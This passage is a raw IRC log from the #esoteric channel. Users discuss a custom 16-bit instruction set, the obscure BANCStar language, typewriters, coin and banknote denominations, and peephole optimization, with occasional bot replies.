931642 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, so that's how it works, it makes sense. < 1394097325 877194 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :However, my instruction set is using 16-bit instructions < 1394097529 542743 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :mov p,[p++] is arguably just a funny way of writing the jmp imm16 instruction < 1394097660 65457 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I suppose so, although I encode it like that. < 1394097895 26457 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it would probably be inefficient if it's _not_ special cased internally. < 1394098122 879555 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It could be special cased internally if you want to < 1394098534 500592 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394098556 959937 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :zzo38: any concrete docs about them? some are obvious, but some are obscure. (e.g. for conditions, what's difference between ZS and ZC? zero and signed????) < 1394098599 816025 :ion!ion@heh.fi PRIVMSG #esoteric :https://scontent-b-fra.xx.fbcdn.net/hphotos-prn1/t1/1959904_10152640836783356_1654381488_n.jpg | http://translate.google.com/translate?sl=auto&tl=en&js=n&prev=_t&ie=UTF-8&u=http%3A%2F%2Fwww.iltasanomat.fi%2Fkotimaa%2Fart-1288661885235.html&act=url < 1394098779 691061 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that guy looks ready to kill < 1394098868 395488 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ion: i managed to read that as "War promoted by the new commander" on first glance < 1394098882 511701 :ion!ion@heh.fi PRIVMSG #esoteric :heh < 1394098912 718140 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not one of google's best moments, in any case < 1394098941 430462 :ion!ion@heh.fi PRIVMSG #esoteric :To my knowledge, no good machine translation from Finnish to English exists on the planet. < 1394098984 613604 :ion!ion@heh.fi PRIVMSG #esoteric :But that one gives enough context for the photoshop. < 1394099037 249608 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh i didn't notice the pictures were different < 1394099065 153730 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i assume it's some fps game? < 1394099180 256531 :ion!ion@heh.fi PRIVMSG #esoteric :http://stargate.wikia.com/wiki/Jonathan_J._O'Neill < 1394100045 772491 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :lifthrasiir: Yes I do have some documentation, but it is incomplete. MZS means move if zero flag set, MZC means move if zero flag is clear. < 1394100181 161697 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :aha, so there are zero/carry/negative flags and consequently six conditional moves. < 1394100435 298275 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes. < 1394100435 736113 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Note about addressing modes: Each 2OP has two operands, and no more than one operand can have an addressing mode other than R. < 1394100479 647277 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Also, one bit of the instruction (other than FLG) is used to indicate whether or not the instruction affects flags. Some instructions affect some (but not all) flags anyways even if this bit is cleared, such as the CMP, MSK, and LFL instructions. < 1394100703 268450 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394100989 221256 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1394101276 612784 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394101467 381435 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394101730 455604 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394102972 541548 :itsy!~digital_w@37.152.198.84 QUIT :Read error: Connection reset by peer < 1394103569 203212 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1394104196 195433 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394104501 647292 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394105014 828051 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@messeges-leud < 1394105015 51308 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1394105122 981668 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1394107135 29380 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394107148 155090 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394107666 786324 :boily!~boily@96.127.201.149 QUIT :Quit: Poulet! < 1394107828 790260 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394108006 796934 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394108008 531479 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394108073 154595 :Slereahphone!~slereahph@80.10.159.111 QUIT :Remote host closed the connection < 1394108407 903806 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@messages-feud < 1394108408 127188 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1394110554 919867 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394110801 404911 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394111347 910837 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1394114752 917507 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394115660 234130 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :@massages < 1394115660 419683 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1394115905 855677 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394116131 645198 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@tell boily I lament the lack of lambdabot messages. < 1394116131 867475 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394116202 547753 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394116531 275017 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :int-e: Perhaps you should incorporate some fungot technology so that, if someone is explicitly asking for messages yet has none, it'd write one? < 1394116531 487023 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: alice gave a weary sigh. " but what are they for?' alice asked at last, by common consent, into a few random groups, seated on the ground near the door, she ran across the duchess ( who was now out of prison, and he went and he lived in another town. so the lion ate the wrong man." < 1394116721 705756 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :good fungot fungot day < 1394116721 927486 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: " who are the audience to be?" i said. i was dreaming again. < 1394116746 230935 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Fungot is astonishingly astute ... sometimes. < 1394116759 886888 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :And still case sensitive, I'm happy to see. < 1394118055 42126 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://hs13.snstatic.fi/webkuva/taysi/560/1305796309581 man, that thing looks like some sort of a block loading glitch. < 1394118087 786134 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's apparently the winning proposal for the memorial for the Utøya thing.) < 1394118235 212750 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Oh man, it totally does. That’s hilarious. < 1394118255 706548 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :A chunk error. < 1394118275 650561 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Lots of Minecrafters in Norway, I suppose. < 1394118296 122568 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: unrealistic, it has water there < 1394118360 917545 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 244 seconds < 1394118439 885795 :nooodl!~nooodl@91.177.100.186 JOIN :#esoteric < 1394119695 878369 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394120136 247873 :password2!~password@197.78.231.175 JOIN :#esoteric < 1394120255 273025 :Slereahphone!~slereahph@80.10.159.111 QUIT :Remote host closed the connection < 1394120463 776815 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394121183 403258 :Slereah_!~jackal@85.168.90.79.rev.sfr.net JOIN :#esoteric < 1394121183 627467 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1394121254 310304 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394121974 840317 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394122079 328441 :Slereah_!~jackal@85.168.90.79.rev.sfr.net QUIT :Ping timeout: 241 seconds < 1394122259 743242 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394122412 989842 :Slereah__!~jackal@176.222.51.233 QUIT :Remote host closed the connection < 1394122431 818467 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394122990 232243 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Thank you #esoteric < 1394123072 91203 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :For, while not teaching me particularly much CS, very much preparing my mind for learning it < 1394123102 773634 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I like that sentiment < 1394123385 548884 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :soil tilled < 1394123632 345922 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394124174 321741 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394124984 561130 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1394124994 882818 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 244 seconds < 1394125416 483054 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 265 seconds < 1394125751 551763 :password2!~password@197.78.231.175 QUIT :Read error: Connection timed out < 1394126499 427467 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394127844 893397 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :esowiki should be purged of any languages less esoteric than https://github.com/jloughry/BANCStar < 1394128595 658587 :password2!~password@197.78.162.228 JOIN :#esoteric < 1394128595 843659 :vadimrif!~vadimrif@78.24.220.173 JOIN :#esoteric < 1394128856 792566 :vadimrif!~vadimrif@78.24.220.173 QUIT :Remote host closed the connection < 1394128998 107424 :password2!~password@197.78.162.228 QUIT :Ping timeout: 252 seconds < 1394129390 267256 :^v!~Kevin@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Remote host closed the connection < 1394129407 777056 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394129444 578701 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394129467 620577 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can someone write a new compiler for BANCStar? < 1394129642 765205 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394129642 987356 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394129932 786372 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: not without a spec, and I'm not sure there's a public spec < 1394129951 621732 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Jafet: BANCStar is normally considered non-eso, although there have been huge debates < 1394129958 419019 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's one of the most contentious wrt "eso or not" < 1394129980 677296 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the main argument against is that it was intended as an intermediate language asm, and it's not massively insane as intermediate languages go < 1394130033 637034 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :The main argument is that most languages on the esowiki are not really that esoteric < 1394130172 875601 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I would like to see the documentation if someone would release it. Some things I may be able to figure out from the example programs, though < 1394130419 608494 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is still a bit unusual even as an intermediate language though < 1394130436 267532 :sebbu!~sebbu@ADijon-152-1-23-48.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1394130471 232772 :sebbu!~sebbu@ADijon-152-1-23-48.w83-194.abo.wanadoo.fr QUIT :Changing host < 1394130471 455373 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1394130897 615887 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 265 seconds < 1394130964 332627 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I notice that the numbers seem to fit in a signed 16-bit integer, and wonder if that is a limit. Also, some operands are omitted; are those treated as -32768 or something like that? < 1394130972 43464 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Or as zero? < 1394131000 607129 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Are blocks allowed to be nested? < 1394131385 91791 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394131696 26208 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why does it crash when there is a dot in the source file? < 1394131945 982520 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It looks when writing to a variable, you represent a constant number by multiplying it by ten and adding 22002. When reading it is different. < 1394131949 15858 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I have a typewriter < 1394132062 812909 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Hopefully the rest of the pages can be scanned. < 1394132070 456146 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Taneb: What model is it? < 1394132146 554899 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Seems to be a variant of a Brother 210 < 1394132559 572476 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394132568 289779 :nisstyre!yourstruly@oftn/member/Nisstyre JOIN :#esoteric < 1394132601 273901 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Client Quit < 1394132614 532519 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1394132813 658264 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what are you going to do with it Taneb < 1394132823 212476 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I also have a typewriter, which is also Brother. < 1394132831 932507 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I use it for typing addresses on envelopes. < 1394132865 152791 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :quintopia, type, probably < 1394132872 511275 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Go to CS lectures and take notes < 1394132989 82326 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :wonderful < 1394133004 3913 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You take notes with a typewriter? < 1394133006 384743 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i hope it makes loud clicking sounds that disturb the whole class < 1394133096 552400 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :So do I < 1394133103 792387 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Anyway, I have an adventure to go on < 1394133107 253123 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Bye! < 1394133167 183321 :Slereahphone!~slereahph@80.10.159.111 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394133240 630752 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394133607 907377 :Slereahphone!~slereahph@80.10.159.111 QUIT :Remote host closed the connection < 1394133630 574510 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :a brilliant plan for getting thrown out of class < 1394133695 792448 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394133735 613338 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.ted.com/talks/renny_gleeson_404_the_story_of_a_page_not_found Sorry, we’re experiencing technical difficulties. Our tech team is on it. In the meantime, why not take a break and watch Renny Gleeson’s talk, 404, the story of a page not found. < 1394133864 744235 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: I remember an event a while back when someone from a poor family took a typewriter to university with them because the family owned one, and couldn't afford a computer < 1394133873 962011 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and the university's response was to buy them a laptop < 1394133933 331174 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :aww < 1394134089 328750 :ion!ion@heh.fi PRIVMSG #esoteric :nice < 1394135110 95128 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394136201 358498 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1394136208 564215 :ais523!~ais523@unaffiliated/ais523 QUIT :Remote host closed the connection < 1394136420 918938 :callforjudgement!~ais523@unaffiliated/ais523 NICK :ais523 < 1394137016 704220 :iamcal___!sid1110@gateway/web/irccloud.com/x-ivncbqczqxjotasy QUIT :Ping timeout: 265 seconds < 1394137055 728881 :iamcal___!sid1110@gateway/web/irccloud.com/x-odzzbwywowfrhdqu JOIN :#esoteric < 1394137161 853725 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e QUIT :Ping timeout: 265 seconds < 1394137275 30359 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e JOIN :#esoteric < 1394139047 617930 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.change.org/petitions/president-obama-ban-the-production-use-and-circulation-of-the-paper-us-dollar < 1394139252 686100 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :this is a bitcoin thing isn't it < 1394139303 402917 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'd like to see the official response to that one < 1394139332 585003 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Should they instead use a dollar coin like we have in Canada? < 1394139662 543843 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394139709 931678 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :US has both paper and metal-coin dollars, IIRC < 1394139766 182846 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it useful to have both? < 1394139922 411810 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the metal-coin ones are historical relics, aren't they? < 1394139926 899952 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah. dollar coins are nice for hitting people, and with dollar bills you can make emergency bandages or gags easily. < 1394139957 134625 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oerjan: nah, they keep trying to push new ones. never really works < 1394139961 884231 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm < 1394139987 248468 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :looks like the last batch was stopped in 2011. < 1394139993 647157 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i've actually never seen any of them, how about that < 1394140026 701380 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose they actually _would_ have to stop productions of the paper ones to make the coins take off. < 1394140030 540835 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-s < 1394140102 749387 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in norway we've changed denominations from bills to coins several times, the bills usually stop being legal tender after a while. < 1394140109 60783 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :10 years or so < 1394140188 855883 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and of course we drop coins as well. last one to go was the 50 øre, which means our krone is no longer divided into smaller units, at least physically. < 1394140252 589257 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's funny how the usa insists on keeping pennies while we are dropping the equivalent of 10 cent coins < 1394140512 294218 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there was a big deal when the £2 coin was introduced in the UK a while back < 1394140535 67071 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :we haven't had higher denominations for ages, though, and £2 coins still feel a little like a novelty < 1394140547 192774 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :£5 coins technically exist but aren't in general circulation < 1394140588 608976 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :they're 17 years old. < 1394140591 821646 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(2 pound coins) < 1394140611 803157 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: I guess that means I was at the right age at the time to think it was a really big deal < 1394140617 288413 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :like, 9, I guess < 1394140627 523070 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I still think of them as being special < 1394140641 432995 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think of £50 notes as special, too, but that's mostly because although they're in general circulation they're hardly ever used < 1394140642 514730 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i have a huge wad of $2s < 1394140666 912270 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :there's this thing in murka where we treat $2 as weird and rare even though they have consistently been worth two dollars for the last billion years, unlike 50¢ coins and such < 1394140673 32881 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think someone told me that two pound coins are similar to one pound coins? < 1394140676 475996 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :to the extent that if you go to a bank and ask for a large amount of money (say £1000), they'll give it to you in £20 notes rather than £50 notes unless you specifically request otherwise < 1394140696 404127 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: they look very different, they're about twice as large, and have an inner section that's a different color < 1394140721 962940 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Bike: 50¢ coins haven't consistently been worth 50¢? < 1394140771 264854 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Then I don't know why they said it is similar < 1394140790 484249 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yes, I think they were just wrong < 1394140795 403908 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :old dollars are full of silver and suchlike < 1394140798 352279 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :half dollars* < 1394140827 279545 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the outside of a £1 coin and £2 coin is the same color and that color (i.e. the metal alloy that produces it) isn't used by other UK coins, so that's a similarity < 1394140830 947448 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but that's about the only similarity < 1394140840 293051 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(the £1 coin is made of that alloy all the way through, the £2 only around the outside) < 1394140889 366114 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :haha, back in the late 1800s they made a $50 coin, awesome < 1394141054 555540 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you know anything about pattern matching on trees or on list of instructions? I tried to make something to pattern match on list of instructions, is it OK in your opinion? < 1394141068 698301 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And I still need to add a expression tree pattern match < 1394141085 286618 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :one time i tried to pattern match a tree but my skin got all covered in sap < 1394141127 211571 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: I wrote OIL for doing pattern matching and replacement on INTERCAL parse trees < 1394141147 433739 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: here is the documentation: http://c.intercal.org.uk/manual/dlbvn76f.htm#Optimizer-Idiom-Language < 1394141152 127563 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: Yes I saw that < 1394141166 66458 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I wonder how well something similar would work for something I am making < 1394141188 580100 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In my case, optimization is not the only use of such thing, although it can be one such use. < 1394141205 890470 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Optimization is also performed on list of instructions too, though < 1394141259 913857 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: I think optimization on lists of instructions is called "peephole optimization" < 1394141277 872995 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and yes, optimization isn't the only use, it's just my use < 1394141280 991703 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: Yes, it is peephole optimization. < 1394141297 546963 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I wrote part of a program to do so, but I would like it reviewed. < 1394141704 805854 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1394142025 777417 :hexagon!nyuszika7h@pdpc/supporter/active/nyuszika7h NICK :icosagon < 1394142029 365424 :icosagon!nyuszika7h@pdpc/supporter/active/nyuszika7h NICK :hexagon < 1394143299 446523 :Slereahphone!~slereahph@80.10.159.111 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394143494 522244 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394144210 837251 :nisstyre!yourstruly@oftn/member/Nisstyre JOIN :#esoteric < 1394144367 620777 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Read error: Operation timed out < 1394145333 551457 :nisstyre!yourstruly@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1394145360 559011 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394145751 90999 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com PRIVMSG #esoteric :just wrote my first unification algorithm, now i feel like a computer scientist < 1394146277 767737 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394146370 763514 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1394146478 294184 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Today I met a Norwegian computer scientist from IRC. I am disappointed she was not in fact oerjan < 1394146534 475405 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :`? oerjan_ < 1394146563 597724 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :hmm, no bot... might have been oerjan_ anyway < 1394146584 954071 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :"from IRC"? < 1394146667 682925 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :is that a horrible mistypo of something? < 1394146707 351932 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :"from IRC" probably means "is also on IRC somewhere" < 1394146711 119205 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: possibly an elision of "someone I know from IRC", which is how I interpreted that < 1394146738 931091 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but then it makes no sense that he'd be disappointed she wasn't me. < 1394146772 919472 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :btw i am _not_ a computer scientist by profession. < 1394146836 427299 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: SPEAK UP YOU WRETCHED SCOUNDREL TWH < 1394146868 508335 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :By "from IRC", I mean "I know this person primarily via IRC" < 1394146871 53435 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :plot twist: it *was* oerjan < 1394146886 2845 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :plot twist, it was elliott. < 1394146897 827283 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, goodbye universe < 1394146934 559581 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh right < 1394146958 190972 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in an alternative universe, it was elliott. r.i.p. universe. < 1394147436 138106 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :r.i.p.? why did the universe die? < 1394147452 757583 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :olsner, elliott and I came into contact < 1394147466 923039 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :oh, is that what happens when that happens? < 1394147471 509287 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yeah < 1394147504 